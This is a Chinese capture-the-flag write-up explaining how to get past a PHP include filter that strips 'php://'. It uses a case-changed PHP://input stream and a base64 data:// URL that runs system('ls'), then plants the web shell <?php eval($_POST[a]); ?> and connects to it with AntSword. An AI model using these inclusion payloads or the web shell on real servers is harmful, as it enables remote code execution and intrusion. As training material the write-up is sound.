<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
首先看到一串PHP代码。 strstr函数:查找字符串首次出现的位置。返回字符串剩余部分 strstr($page, "php://") 在page变量中查找php:// 。 str_replace("php://", "", $page); 如果在page变量中查到了,就把php://替换成空。
方法一:大小写绕过strstr
提示我们上传php:// ,strstr函数又对大小写敏感。 所以我们可以考虑使用大小写绕过方法,即PHP://input php://input:是个可以访问请求的原始数据的只读流。 然后post可执行代码。  最后得到flag文件名,只要改执行代码就行 把ls 改为cat fl4gisisish3r3.php 最后检查页面源码看到flag 
方法二:data://
我们可以不考虑循环,也就是我们page变量数据中没有php://,可以使用data://伪协议达到同样的效果。
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
只要把方法一中的可执行代码进行base64编码,GET请求一下,就可以得到目录。 http://111.200.241.244:55942/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg==
得到flag的方法同样。
方法三:上传木马
在方法一和二的基础上,更改执行代码,上传一串木马。 <?php eval($_POST[a]); ?> 使用中国蚁剑连接。 
 连接成功!  得到flag
|